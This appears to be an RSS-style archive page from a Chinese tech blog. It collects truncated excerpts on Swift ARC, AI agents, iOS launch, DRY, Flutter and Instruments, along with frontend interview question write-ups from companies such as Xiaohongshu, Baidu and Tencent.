面试 on Last Stand

Swift 面试：ARC 与内存管理源码解析

Tue, 16 Jun 2026 09:06:27 +0800

Swift 面试：ARC 与内存管理源码解析

Swift 面试里问 ARC，通常不是想听一句“自动引用计数”。真正要答清楚的是：对象头里有什么、strong / weak / unowned 到底差在哪里、编译器什么时候插入或消除 retain/release、为什么闭包会循环引用。

这篇文章按面试题展开。先给可以直接回答的版本，再把结论落到 Swift 源码里的对象布局、引用计数状态机和 SIL ARC 优化。

面试高频问题

Swift 的 ARC 和 Objective-C 的 ARC 有什么区别？
Swift 对象的引用计数存在哪里？
strong、weak、unowned 的底层差异是什么？
为什么 weak 在对象释放后会自动变成 nil？
为什么 unowned 访问已释放对象会崩溃？
闭包为什么容易造成循环引用？
编译器会如何优化 retain/release？
值类型是否完全不参与 ARC？
ARC 和 Copy-on-Write 有什么关系？

30 秒回答版

Swift ARC 是编译器和运行时共同完成的内存管理机制。

编译器在 SIL 阶段根据所有权语义插入 retain_value、release_value、strong_retain、strong_release 等引用计数指令，并通过 ARC 优化尽量消除冗余 retain/release。运行时负责真正维护对象的引用计数。

对原生 Swift 堆对象来说，对象头包含两部分：metadata 和 refCounts。源码里 HeapObject 的注释明确说 metadata 总是指向一个有效的 metadata 对象，refCounts 是 Swift heap object header 的非 Objective-C 成员。

AI Agent

Sat, 02 May 2026 22:32:27 +0800

ChatGPT能写文章、能回答问题，但你让它帮你订一张机票，它做不到。它能告诉你"你应该去携程搜一下"，但它没法真的打开网页、输入日期、比价、下单。

**AI Agent（智能体）**就是为了解决这个问题——让LLM不仅能"想"，还能"做"。Agent = LLM + 工具使用 + 自主规划 + 记忆。

一、从聊天机器人到智能体

1.1 纯LLM的局限

一个纯粹的LLM本质上是一个"无状态的文本生成器"：

graph LR
IN["输入文本"] --> LLM["LLM"]
LLM --> OUT["输出文本"]

它有几个根本性的限制：

限制	表现
无法执行动作	不能调API、不能操作文件、不能访问数据库
无持久记忆	每次对话结束后就"忘了"
知识过时	无法获取训练数据之后的信息
无法自主规划	不能将复杂任务分解并逐步执行
单轮思考	一次生成就结束，不能自我检查和修正

1.2 Agent的定义

AI Agent是一个以LLM为"大脑"的自主系统，能够：

感知：理解用户的意图和当前环境状态
规划：将复杂目标分解为可执行的步骤
行动：调用外部工具完成具体操作
观察：获取行动的结果
反思：根据结果调整策略

graph TD
USER["用户目标"] --> PERCEIVE["感知
理解意图"]
PERCEIVE --> PLAN["规划
分解任务"]
PLAN --> ACT["行动
调用工具"]
ACT --> OBSERVE["观察
获取结果"]
OBSERVE --> REFLECT["反思
是否完成？"]
REFLECT -->|未完成| PLAN
REFLECT -->|已完成| RESULT["返回结果"]

二、Agent的核心组件

2.1 架构总览

graph TB
subgraph Agent ["AI Agent"]
LLM["LLM（大脑）"]
PLAN["规划模块"]
MEM["记忆系统"]
TOOL["工具集"]
end
USER["用户"] --> LLM
LLM --> PLAN
PLAN --> LLM
LLM --> MEM
MEM --> LLM
LLM --> TOOL
TOOL --> LLM
LLM --> USER

2.2 LLM：Agent的大脑

LLM负责理解、推理和决策。作为Agent大脑的LLM需要具备：

App启动流程

Sat, 02 May 2026 22:32:27 +0800

启动类型概览

iOS应用启动分为三种类型：

启动类型	描述	特点
冷启动（Cold Launch）	App完全不在内存中，需要从头开始加载	耗时最长，需要完整执行所有启动流程
热启动（Warm Launch）	App在后台被挂起（Suspended），重新进入前台	最快，只需恢复App状态，不需要重新创建进程
预热启动（Pre-warm Launch）	系统预测用户可能启动App，提前在后台执行部分启动流程	iOS 15+引入，介于冷启动和热启动之间

graph LR
subgraph "冷启动（耗时最长）"
A1[创建进程] --> A2[加载dylib]
A2 --> A3[Rebase/Bind]
A3 --> A4[+load]
A4 --> A5[main]
A5 --> A6[首帧渲染]
end
subgraph "预热启动（iOS 15+）"
B1[系统提前完成（后台）:
创建进程 → 加载dylib → Rebase/Bind] --> B2[用户点击后执行:
+load → main → 首帧渲染]
end
subgraph "热启动（最快）"
C1[唤醒进程] --> C2[WillEnterForeground]
C2 --> C3[DidBecomeActive]
C3 --> C4[恢复UI]
end

一、冷启动（Cold Launch）

冷启动是最完整的启动流程，也是启动优化的主要关注点。

冷启动流程概览

flowchart TD
Start([App 冷启动流程]) --> PreMain
subgraph PreMain["Pre-main 阶段"]
direction TB
A[加载可执行文件] --> B[加载动态库
（包括 Swift Runtime）]
B --> C[Rebase & Bind]
C --> D[ObjC Runtime 初始化
（类注册、Category 附加）]
D --> D2[Swift Runtime 元数据注册
（类型元数据、协议遵循表）]
D2 --> D3[调用 +load 方法]
D3 --> E[执行 Initializers
（C++静态构造函数、__attribute__）]
end
PreMain --> MainPhase
subgraph MainPhase["main 阶段"]
direction TB
F[main函数] --> G[UIApplicationMain]
G --> H[AppDelegate回调]
H --> I[首帧渲染
（创建Window、RootViewController、首屏UI）]
end
MainPhase --> End([启动完成])

Pre-main 阶段

Pre-main阶段是指从用户点击App图标到main函数执行之前的过程，这个阶段主要由dyld（动态链接器）负责。

DRY原则

Sat, 02 May 2026 22:32:27 +0800

什么是DRY原则？

DRY（Don’t Repeat Yourself）原则是由 Andy Hunt 和 Dave Thomas 在《The Pragmatic Programmer》一书中提出的软件开发原则。

Every piece of knowledge must have a single, unambiguous, authoritative representation within a system. 系统中的每一项知识都必须有一个单一、明确、权威的表示。

DRY 原则的核心不仅仅是"不要复制粘贴代码"，而是确保知识和逻辑在系统中只存在一处。

核心思想

知识的单一来源

DRY 原则强调的是"知识"的不重复，而非简单的"代码"不重复。知识包括：

业务规则：如"订单金额超过100元免运费"
数据结构定义：如用户模型的字段
算法逻辑：如价格计算公式
配置信息：如 API 地址、超时时间

// 违反 DRY：同一个业务规则在多处定义
class OrderService {
 func calculateShipping(orderAmount: Double) -> Double {
 if orderAmount > 100 { // 业务规则：100元以上免运费
 return 0
 }
 return 10
 }
}

class CartViewController {
 func updateShippingLabel() {
 if cartTotal > 100 { // 重复的业务规则！
 shippingLabel.text = "免运费"
 } else {
 shippingLabel.text = "运费：¥10"
 }
 }
}

class CheckoutViewModel {
 func getShippingFee() -> Double {
 return totalAmount > 100 ? 0 : 10 // 又是重复！
 }
}

// 遵循 DRY：业务规则只定义一次
struct ShippingPolicy {
 static let freeShippingThreshold: Double = 100
 static let standardShippingFee: Double = 10

 static func calculateFee(for orderAmount: Double) -> Double {
 return orderAmount > freeShippingThreshold ? 0 : standardShippingFee
 }

 static func isFreeShipping(for orderAmount: Double) -> Bool {
 return orderAmount > freeShippingThreshold
 }
}

// 所有地方都使用这个单一来源
class OrderService {
 func calculateShipping(orderAmount: Double) -> Double {
 return ShippingPolicy.calculateFee(for: orderAmount)
 }
}

class CartViewController {
 func updateShippingLabel() {
 if ShippingPolicy.isFreeShipping(for: cartTotal) {
 shippingLabel.text = "免运费"
 } else {
 shippingLabel.text = "运费：¥\(ShippingPolicy.standardShippingFee)"
 }
 }
}

DRY vs WET

WET 是 DRY 的反义词，常见的解释有：

Flutter 详解

Sat, 02 May 2026 22:32:27 +0800

Flutter 是 Google 推出的跨平台 UI 工具包，用 Dart 写一份代码即可编译到 iOS、Android、Web、macOS、Windows、Linux、嵌入式设备。它与 KMP/RN 的最大区别是"不映射到原生控件，也不跑在 WebView 里"——Flutter 自带一套 Impeller 渲染引擎，直接向 GPU（Metal / Vulkan）提交绘制命令，从按钮到滚动条的每一个像素都是自己画出来的。

这种"自绘"架构让 Flutter 拥有"双端像素级一致“的超能力，也带来了”iOS 原生设计语言永远慢半拍“的原罪。在 AI Coding 时代，Flutter 的统一性和 GenUI 生态让它成为 LLM 生成 UI 的理想容器，但端侧 AI、Liquid Glass 等 Apple 独占能力的缺失也让它在 iOS 26 时代面临新的挑战。

本文从架构出发，穿透到 Dart VM 编译链、Impeller 渲染管线、iOS 嵌入原理，再到 AI 时代的机遇与陷阱，是一篇写给 iOS 开发者的 Flutter 体系化导读。

一、Flutter 是什么

1.1 一句话定义

Flutter 是一套”声明式 UI + 自绘渲染 + AOT 原生代码“的跨平台框架：

声明式 UI：UI 是 build(context) => Widget 的纯函数结果，状态变 → 重新 build → diff → 更新。
自绘渲染：所有控件都是 Flutter 自己用 Impeller 绘制出来的，不使用 UIKit / SwiftUI 组件。
AOT 编译：发布时 Dart 代码被 gen_snapshot 编译为 ARM64 机器码，与 C++ 引擎一起链接到 Flutter.framework 内。

一句话记忆：Flutter 不是跑在 iOS 上，它是借 iOS 的一块 CAMetalLayer 画自己的东西。

Instruments详解

Sat, 02 May 2026 22:32:27 +0800

Instruments 是 Xcode 内置的性能分析套件，基于 DTrace/Apple Trace 基础设施构建，可以对 iOS、iPadOS、macOS、watchOS、tvOS、visionOS 的应用与系统进行 CPU、内存、图形、能耗、网络、I/O 等各个维度的观测。

Xcode 26（WWDC25）对 Instruments 做了近年来最大规模的升级，重点包括：

Power Profiler：全新的能耗分析工具，支持 Tethered 与 Passive 两种录制模式。
下一代 SwiftUI instrument：基于 Cause & Effect Graph 可视化状态变更到视图更新的因果链。
Processor Trace：基于 Apple Silicon 硬件特性的"全量指令级"采集（Xcode 16.3 引入，26 完善）。
CPU Counters 重做：引入 Bottleneck Analysis 方法论与 CPU Bottlenecks 模板。
Foundation Models instrument：为 FoundationModels 框架提供 Prompt / Asset Loading / Inference 分阶段观测。
Animation Hitches 重做：修正多显示器场景下的统计，数据量显著减少，处理更快。
UI 重设计：主菜单精简、Settings 页面重写、Track 次级菜单、Launch/Attach 环境变量配置。

一、Instruments 基础

1.1 启动 Instruments 的几种方式

方式	使用场景
Xcode `Product → Profile`（⌘I）	日常开发，自动以 Release 模式编译并附加符号
Xcode `Debug Navigator` 中的图表	粗略观测 CPU / Memory / Disk / Network / Energy
直接打开 `Instruments.app`	对已安装的 App、系统进程或已录制的 `.trace` 文件进行分析
命令行 `xcrun xctrace record`	CI / 自动化性能回归
设备端 Developer Settings 的 Power Profiler	离线、无 Mac 场景采集能耗数据

Xcode 26 中，Product → Profile 会按默认 scheme 的 Profile 构建配置（通常是 Release + -O），这与 Debug 模式的数据差异很大，做性能评估时必须用 Profile 构建。

代理模式

Sat, 02 May 2026 22:32:27 +0800

在iOS开发中，“代理"这个词通常有两层含义：

设计模式中的代理模式（Proxy Pattern）：提供目标对象的替代品或占位符，控制对目标对象的访问
iOS中的代理模式（Delegate Pattern）：一种基于协议的回调机制，用于对象间通信

虽然中文都叫"代理”，但它们是不同的设计模式，解决不同的问题。本文将两者都进行详细介绍。

一、Proxy Pattern（代理模式）

定义

代理模式（Proxy Pattern）是一种结构型设计模式，它为其他对象提供一种代理以控制对这个对象的访问。

核心思想：代理对象作为真实对象的"替身"，客户端通过代理间接访问真实对象。代理可以在访问前后添加额外逻辑，而调用者对此毫不知情。

Client → Proxy → RealSubject
 ↑
 控制访问
 添加功能
 延迟创建

关键特征：

代理对象与真实对象实现相同的接口
客户端不知道自己使用的是代理还是真实对象
代理对象持有真实对象的引用（通常是强引用）

模式结构

classDiagram
class Subject {
<<interface>>
+request()
}
class RealSubject {
+request()
}
class Proxy {
-realSubject: RealSubject
+request()
}
class Client {
+useSubject()
}
Subject <|.. RealSubject
Subject <|.. Proxy
Proxy --> RealSubject : delegates to
Client --> Subject : uses

Proxy的类型

1. 虚拟代理（Virtual Proxy）

虚拟代理用于延迟创建开销大的对象，只有在真正需要时才创建：

小红书-社招-5年 · 第 1 轮 · 技术面试

Sun, 01 Feb 2026 14:42:25 +0000

← 已是第一轮 · 返回本次面经 · 第 2 轮 →

本轮概述： 该轮面试主要考察了前端基础知识，包括BFC、浮动元素、作用域、异步编程、Webpack、Vue等多方面的内容。题目涉及理论知识和代码实现。

本轮共 18 道题。答案默认折叠，便于先自行作答。

1. BFC讲一下

题库原题：什么是BFC？

题目要点

BFC（Block Formatting Context） 是 CSS 中一个重要的布局概念，它描述了一个块级元素的内部布局和外部布局之间的关系。BFC 主要用于处理元素的布局、浮动、边距合并等问题。

BFC 的作用

阻止外边距折叠：
- 外边距折叠：当两个块级元素垂直相邻时，它们的外边距会合并，形成一个更大的外边距。
- BFC：在 BFC 内部的元素的外边距不会影响到外部 BFC 的元素，避免了外边距折叠的问题。
包含浮动元素：
- 浮动元素：通常会从其包含块中溢出。
- BFC：具有 BFC 的元素可以包含其内部的浮动元素，确保其高度包括浮动元素的高度。
控制元素的布局：
- BFC：在 BFC 内部，元素的布局（如浮动、定位）会受到影响和控制，避免与外部元素发生冲突。
防止元素重叠：
- BFC：能够隔离不同的 BFC 区域，避免元素之间的重叠或干扰。

如何触发 BFC

BFC 会在以下情况中被触发：

块级格式化上下文的创建：
- 元素的 display 属性值为 block 或 inline-block。
- 元素的 position 属性值为 absolute 或 fixed。
- 元素的 float 属性值为 left 或 right。
- 元素的 overflow 属性值为 hidden、scroll 或 auto。
其他常见触发情况：

小红书-社招-3年 · 第 1 轮 · 技术面试

Sun, 01 Feb 2026 14:42:08 +0000

← 已是第一轮 · 返回本次面经 · 第 2 轮 →

本轮概述： 这一轮主要考察了前端基础知识，包括JavaScript的基本类型和引用类型的存储、闭包的内存泄漏、垃圾回收机制、事件循环、React框架的理解等。

本轮要点： Promise、CDN原理、Class、数据类型、浏览器渲染过程

本轮共 24 道题。答案默认折叠，便于先自行作答。

1. js中基本类型和引用类型的存储有什么不一样

题库原题：引用类型有哪些，有什么特点

题目要点

在JavaScript中，引用类型是指非基本数据类型，它们是由对象、数组、函数等复杂数据结构组成的。

参考答案

在JavaScript中，引用类型是指非基本数据类型，它们是由对象、数组、函数等复杂数据结构组成的。

常见的引用类型包括：

对象（Object）：对象是JavaScript中最基本的引用类型，它可以用来存储键值对，也可以通过原型链实现继承。
数组（Array）：数组是一种有序的集合，可以存储任意类型的数据，它的长度是动态的，可以随时添加或删除元素。
函数（Function）：函数是一种可执行的对象，可以封装一段可重复使用的代码。函数可以接收参数并返回值。

引用类型的特点包括：

引用类型的值是可变的：引用类型的值是存储在堆内存中的，当我们修改一个引用类型的值时，实际上是修改了它在内存中的地址，而不是修改了该值本身。
引用类型值的比较是引用的比较：当使用"==“或”===“运算符比较两个引用类型的值时，它们会进行引用的比较，即判断它们是否指向同一个内存地址。只有当两个引用指向同一个对象时，它们才被认为是相等的。
引用类型可以有自己的属性和方法：引用类型的值可以拥有自己的属性和方法。例如，数组对象有长度属性和一些常用的数组方法（例如push、pop、sort等），而函数对象有call、apply等方法。
引用类型可以通过原型链实现继承：通过原型链，引用类型可以继承父类型的属性和方法。

基本类型（如数字、字符串、布尔值）在JavaScript中是按值传递的，而引用类型是按引用传递的。

这意味着当将一个引用类型的值赋给另一个变量时，实际上是将内存地址复制给了新的变量，两个变量引用的是同一对象。而基本类型的值赋给另一个变量时，会创建一个新的值并赋给新的变量。

2. 闭包的内存泄漏应该如何监控和解决？

题库原题：如何检查Javascript中的内存泄漏？

题目要点

Chrome 浏览器查看内存占用，按照以下步骤操作。

参考答案

浏览器

Chrome 浏览器查看内存占用，按照以下步骤操作。

1、打开开发者工具，选择 Timeline 面板
2、在顶部的Capture字段里面勾选 Memory
3、点击左上角的录制按钮。
4、在页面上进行各种操作，模拟用户的使用情况。
5、一段时间后，点击对话框的 stop 按钮，面板上就会显示这段时间的内存占用情况。

如果内存占用基本平稳，接近水平，就说明不存在内存泄漏。

反之，就是内存泄漏了。

命令行

命令行可以使用 Node 提供的process.memoryUsage方法。

console.log(process.memoryUsage());
// { rss: 27709440,
// heapTotal: 5685248,
// heapUsed: 3449392,
// external: 8772 }

process.memoryUsage返回一个对象，包含了 Node 进程的内存占用信息。该对象包含四个字段，单位是字节，含义如下。

小红书-社招-1年 · 第 1 轮 · 技术面试

Sun, 01 Feb 2026 14:40:35 +0000

← 已是第一轮 · 返回本次面经 · 第 2 轮 →

本轮概述： 这一轮主要考察了前端技术栈的深度和广度，包括CSS框架、响应式设计、渲染优化、Vue框架的高级特性、HTTP协议、浏览器渲染机制等方面的知识。

本轮共 22 道题。答案默认折叠，便于先自行作答。

1. 项目中为何选择 Tailwind CSS ？

题目要点

灵活性, 可维护性, 现代前端工具链

参考答案

Tailwind CSS 是一个高度可定制的低级 CSS 框架，它提供了大量的原子类，可以快速构建一致且响应式的布局。选择 Tailwind CSS 的原因可能包括其灵活性、可维护性以及与现代前端工具链的良好集成。

2. Tailwind 是怎么解决样式冲突的？

题库原题：Tailwind 是怎么解决样式冲突的？

题目要点

Tailwind 通过原子化 utility 类、统一选择器权重、避免层级嵌套、构建期生成样式以及可预测的覆盖规则，从架构层面降低样式冲突的发生概率。它不是依赖命名规范解决冲突，而是通过设计约束和单一职责类模型，使样式天然解耦，从而让冲突可控且可预测。

参考答案

这个问题如果只回答“因为类名不会冲突”是远远不够的。

Tailwind 解决样式冲突，本质上是通过 设计约束 + 原子化模型 + 构建期生成策略，从源头消除冲突的产生条件，而不是事后避免覆盖。

下面从机制层面拆解。

一、传统 CSS 为什么容易冲突

传统样式冲突来自三个方面：

1. 选择器冲突

.btn { color: red; }
.button { color: blue; }

不同模块命名不规范会互相覆盖。

2. 层级嵌套带来的权重问题

.page .btn { ... }

权重升级，导致后续难以覆盖。

3. 样式全局污染

CSS 默认是全局作用域，没有隔离边界。

360-实习 · 第 1 轮 · 技术面试

Sat, 31 Jan 2026 09:54:14 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 这一轮主要考察了候选人的自我介绍、职业规划、项目经验、前端技术细节以及算法问题。面试氛围较为全面，涵盖了从基础到高级的多个方面。

面试时间： 45分钟

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 自我介绍

题目要点

个人背景, 工作经验, 技术栈, 项目经验, 未来展望

参考答案

自我介绍应包括个人背景、工作经验、技术栈、项目经验和对未来的展望。重点在于展示自己的专业能力和对前端技术的热情。

2. 你的职业规划与前端技术方向的关系？

题目要点

技术趋势, 个人兴趣, 学习和实践, 技能提升, 未来发展

参考答案

回答时可以结合当前的技术趋势和个人兴趣，说明如何通过不断学习和实践来提升自己在前端领域的技能。同时，可以提到对未来技术发展的看法和如何适应这些变化。

3. 讲一个你参与过的项目

题库原题：你参与过哪些前端基建方面的建设？

题目要点

前端基建涵盖了从项目架构、构建工具配置到开发环境、自动化流程和安全等多个方面。良好的前端基建可以提升开发效率、代码质量和系统性能，为项目的长期维护和扩展打下坚实的基础。

参考答案

可以从以下方面进行回答：

1. 项目架构

目录结构：定义项目文件和目录的组织结构，确保项目的可维护性和可扩展性。
代码规范：统一代码风格和规范，使用 ESLint、Prettier 等工具进行代码检查和格式化。
模块化：采用模块化设计，将代码拆分为独立的模块，提高可重用性和可维护性。
脚手架：自动生成项目的基础结构，包括目录结构、配置文件、示例代码等。

2. 构建工具和配置

构建工具：使用工具如 Webpack、Vite、Rollup 等进行项目的构建和打包。
配置管理：配置构建工具以支持各种功能，如代码分割、热重载、环境变量等。
优化：配置代码压缩、缓存策略、Tree Shaking 等，提升构建产物的性能和效率。

3. 开发环境

开发服务器：设置本地开发服务器，支持热重载和调试功能。
环境配置：管理开发、测试、生产环境的配置和变量。

4. 包管理

依赖管理：使用 npm、Yarn 或 pnpm 等工具管理项目依赖，确保依赖版本一致性。
发布管理：管理和发布自定义的 npm 包或组件库。

5. 自动化流程

CI/CD：配置持续集成（CI）和持续部署（CD）流程，自动化构建、测试和部署。
测试：集成单元测试、集成测试和端到端测试工具，如 Jest、Cypress 等，确保代码质量。

6. 代码质量

静态分析：使用 ESLint、TSLint 等工具进行代码静态检查。
测试覆盖率：监控测试覆盖率，确保关键代码路径被充分测试。

7. 文档

代码文档：编写和维护项目文档，包括 API 文档、开发指南和使用说明。
自动化文档生成：使用工具如 Storybook、JSDoc 等生成组件库和 API 文档。

8. 组件库

设计系统：构建和维护一套一致的设计系统和组件库，提高开发效率和界面一致性。
共享组件：创建和管理共享组件，促进代码复用。

9. 性能优化

前端性能：优化页面加载速度、响应时间和渲染性能。
网络请求：管理和优化网络请求策略，减少请求次数和数据传输量。

10. 安全

安全最佳实践：遵循前端安全最佳实践，如防范 XSS 和 CSRF 攻击。
敏感数据保护：确保敏感数据不被暴露或滥用。

4. 项目中遇到的印象最深的难题是什么？如何解决的？

题目要点

难题背景, 影响, 解决方案, 最终结果

百度-百家号-实习 · 第 1 轮 · 技术面试

Sat, 31 Jan 2026 09:19:52 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 该轮主要考察前端基础知识、JavaScript高级特性、HTTP协议、Vue与React框架对比、Git操作以及算法实现能力。问题涵盖理论理解与实际应用，氛围较为专业。

本轮共 16 道题。答案默认折叠，便于先自行作答。

1. 如何判断一个变量是数组？

题库原题：判断数组的方式有哪些？

题目要点

推荐方法：使用 Array.isArray()，这是最简单、最可靠的方式来检查一个值是否为数组。
其他方法：instanceof 和 Object.prototype.toString.call() 也很有效，但有一些特定的局限性。constructor 和 isPrototypeOf() 方法不如 Array.isArray() 可靠，且在某些情况下可能会出现问题。

参考答案

判断一个值是否为数组的方式有多种：

1. `Array.isArray()` 方法

描述：这是 ES5 引入的标准方法，推荐用于检查一个值是否为数组。
语法：Array.isArray(value)

示例：

console.log(Array.isArray([1, 2, 3])); // true
console.log(Array.isArray('hello')); // false

2. `instanceof` 操作符

描述：使用 instanceof 操作符来判断对象是否是 Array 的实例。
语法：value instanceof Array

示例：

console.log([1, 2, 3] instanceof Array); // true
console.log('hello' instanceof Array); // false

3. `Object.prototype.toString.call()` 方法

描述：使用 Object.prototype.toString.call() 可以准确判断一个对象的类型，包括数组。它返回 [object Array] 对于数组，其他类型则返回不同的结果。
语法：Object.prototype.toString.call(value)

示例：

console.log(Object.prototype.toString.call([1, 2, 3])); // [object Array]
console.log(Object.prototype.toString.call('hello')); // [object String]

4. `constructor` 属性

描述：检查 constructor 属性是否为 Array。这种方法不如 Array.isArray() 可靠，因为 constructor 可以被改变。
语法：value.constructor === Array

示例：

console.log([1, 2, 3].constructor === Array); // true
console.log('hello'.constructor === Array); // false

5. `Array.prototype.isPrototypeOf()` 方法

描述：检查数组的 prototype 是否在目标对象的 prototype 链上。这种方法也可以用来判断一个对象是否为数组。
语法：Array.prototype.isPrototypeOf(value)

示例：

console.log(Array.prototype.isPrototypeOf([1, 2, 3])); // true
console.log(Array.prototype.isPrototypeOf('hello')); // false

6. 使用 `constructor` 属性和原型链

描述：结合 constructor 属性和原型链检查。这个方法有一定的局限性，不推荐使用。

示例：

function isArray(value) {
 return value && typeof value === 'object' && value.constructor === Array;
}

console.log(isArray([1, 2, 3])); // true
console.log(isArray('hello')); // false

2. 讲一下闭包及其优缺点。

题目要点

函数嵌套, 词法作用域, 内存管理

百度-搜索-春招 · 第 1 轮 · 技术面试

Sat, 31 Jan 2026 09:19:33 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 该轮主要考察前端开发相关知识，包括动画实现、性能优化、React优化、Web Accessibility、计时器处理、WebSocket、缓存策略、国际化、兼容性问题等。题目以主观题为主，注重对核心原理和实际应用场景的理解。

本轮共 18 道题。答案默认折叠，便于先自行作答。

1. 实现一个动画，当用户鼠标悬停在按钮上时，按钮逐渐变大

题目要点

CSS transition, 动画性能优化, 硬件加速, 事件监听

参考答案

在实现此类动画时，可以使用CSS的transition属性或JavaScript的requestAnimationFrame方法。重点在于控制动画的流畅性和性能。可以通过设置合适的过渡时间（transition-duration）和使用硬件加速（如transform: scale()）来提升性能。此外，注意避免不必要的重排和重绘，确保动画的平滑性。

2. 如何避免动画过程中的卡顿？

题库原题：在解决动画卡顿问题时，会引导硬件加速，那么硬件加速的原理是什么？

题目要点

硬件加速是指利用 GPU（图形处理单元）来执行图形和动画相关的计算任务，以减轻 CPU（中央处理单元）的负担。GPU 专为处理图形和图像的高吞吐量操作而设计，因此在执行动画和复杂图形渲染时，硬件加速可以提供更流畅的体验。

原理解析

GPU vs CPU：
- GPU 拥有更多的核心，适合并行处理大量计算任务，而 CPU 核心较少，更适合串行处理复杂逻辑。
图形渲染：
- GPU 优化了图形渲染流程，包括顶点处理、像素着色等，这些是动画和图形显示的基础。
减少重绘和回流：
- 通过硬件加速，可以减少浏览器的重绘（repaint）和回流（reflow）次数，这些操作通常由 DOM 变更触发，非常消耗性能。
合成层（Compositing Layer）：
- 浏览器使用合成层来合并多个层的图形，GPU 可以快速地在这些层上进行变换和动画。
CSS 属性触发：
- 某些 CSS 属性，如 transform 的 3D 变换（translate3d、scale3d 等）和 opacity 动画，可以触发硬件加速。
浏览器优化：
- 浏览器会根据性能和资源情况，自动决定是否使用硬件加速。

考察重点

理解：硬件加速的基本概念和 GPU 在图形渲染中的作用。
应用：知道哪些 CSS 属性可以触发硬件加速，以及如何利用它们来优化动画性能。

参考答案

面试中可能会经常会碰到怎么解决动画卡顿的问题，然后会引导到硬件加速。那么究竟什么是硬件加速，为什么它可以提高咱们的动画效率？我们今天就来一探究竟。

百度-商业化-秋招 · 第 1 轮 · 一面

Fri, 17 Oct 2025 08:26:28 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 这场面试主要围绕前端项目的实际工程能力展开，重点考察了候选人对动态路由、权限控制和状态管理的理解与实践。同时涉及网络请求优化、缓存机制及组件复用等中高级工程问题，体现出对项目可维护性和性能的关注。面试还关注了候选人对 TypeScript 应用、学习方法和职业规划的思考，考察其成长潜力与技术视野。

本轮要点： 跨域相关

本轮共 16 道题。答案默认折叠，便于先自行作答。

1. 如何在前端项目中实现动态路由？

题库原题：如何在前端项目中实现动态路由？

题目要点

动态路由的核心是将路由配置从静态定义转为运行时生成或挂载。常见做法包括“前端维护完整路由表后过滤”以及“后端下发路由配置”。

具体实现依赖框架提供的 API（如 addRoute、useRoutes），同时需要兼顾权限控制、懒加载与导航组件的解耦，才能在保证安全性的同时保持可扩展性和良好的用户体验。

参考答案

在前端项目中实现动态路由，本质上是根据用户权限、接口返回的数据或者运行时条件，动态地生成或加载路由配置，从而决定页面的可访问性和导航结构。

以 React Router 和 Vue Router 为例，核心思路有一些共通点：在应用启动时，会有一个静态的基础路由表，用来保证最基本的页面可以正常访问（例如登录页、404 页、Layout 容器等）。而真正需要按用户角色、接口数据控制的路由，则通过接口请求或预置配置动态挂载进路由系统。

常见的实现方式有两类：

一种是前端自行维护完整的路由表，用户登录后，后端返回权限信息（角色、菜单、可访问模块 ID 等），前端在已有的路由表中做过滤，只保留当前用户有权限的部分，再动态挂载到路由系统。这种方式对前端掌控力更强，体验流畅，但需要在前端同步维护一份路由和权限的映射关系。

另一种是由后端直接下发路由配置（通常带有 path、component 标识、子路由结构等），前端拿到配置后再通过组件映射表动态生成路由。这种方式能减轻前端维护压力，但会带来接口设计和前后端耦合的问题。

在技术层面，React Router v6 提供了 useRoutes 可以直接基于对象动态生成路由，Vue Router 也支持 router.addRoute 在运行时动态添加路由。对于懒加载组件，还需要结合 import() 或 defineAsyncComponent（Vue）来实现，避免一次性加载所有页面。

此外，动态路由不仅仅是技术实现，还涉及安全性和用户体验。例如：

在前端动态路由实现时，不能只依赖前端的路由控制，还需要后端接口做权限校验，避免用户绕过前端访问受限页面。
路由结构最好和菜单、面包屑等导航组件解耦，通过统一的数据结构管理，保证后续扩展的灵活性。
在大规模项目中，动态路由还常与微前端、模块化加载结合，按需挂载子应用或子模块。

2. Vue3的addRoute与React Router的动态useRoutes有何区别？如何解决动态路由刷新后失效的问题？

题库原题：Vue3的addRoute与React Router的动态useRoutes有何区别？如何解决动态路由刷新后失效的问题？

题目要点

Vue3 的 addRoute 属于“增量挂载”，可以在运行时动态向现有路由表中追加新配置；React Router 的 useRoutes 则是基于配置对象动态生成，强调整体渲染而不是单点挂载。动态路由刷新后失效的根本原因是路由配置只存在于内存中，需要在应用初始化时通过本地存储或接口请求恢复路由数据，才能保证页面刷新后仍能正确访问。

腾讯-3年社招-前端面试 · 第 1 轮 · 一面

Sun, 07 Sep 2025 02:45:19 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

参考答案

使用节流（throttle）限制事件触发频率，通常设置为 16ms 以保持 60fps 的流畅度。采用 requestAnimationFrame 优化动画渲染，确保在浏览器重绘时机执行位置更新。实现事件委托减少事件监听器数量，在容器元素上统一处理拖拽事件。对于复杂计算，使用防抖（debounce）延迟执行，避免在拖拽过程中进行不必要的重计算。

5. 性能优化关注的指标有哪些（如FCP、TTI）？你用了哪些具体手段？

题库原题：前端性能优化指标有哪些？怎么进行性能检测？

题目要点

前端性能评估主要围绕三个维度展开：

页面加载速度、交互响应能力以及页面稳定性。常见指标包括 FP、FCP、LCP 等加载指标，FID 和 INP 等交互指标，以及 CLS 布局稳定性指标。
性能检测通常分为两类方式：开发阶段使用 Lighthouse、Chrome DevTools、WebPageTest 等工具进行实验室分析；
线上环境通过 Performance API 或 web-vitals 采集真实用户性能数据，并结合监控平台进行统计与优化。

参考答案

前端性能通常不会只看单一指标，而是从用户感知加载速度、交互响应速度以及页面稳定性三个维度进行评估。当前行业中比较主流的一套指标体系来自 Google 提出的 Web Vitals，并结合传统的加载性能指标共同评估。

腾讯-3年社招-前端面试 · 第 1 轮 · 二面

Sun, 07 Sep 2025 02:45:19 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

采用响应式设计和移动优先策略，使用 rem/vw 单位实现弹性布局。建立设备适配规则库，根据屏幕尺寸和设备类型自动调整组件样式。实现触摸手势支持，优化移动端的交互体验。同时建立性能优化机制，针对移动设备的性能特点进行资源加载和渲染优化，确保在低性能设备上也能流畅运行。

腾讯-2年社招-前端面试 · 第 1 轮 · 一面

Sun, 07 Sep 2025 02:17:29 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

Sun, 07 Sep 2025 02:17:29 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

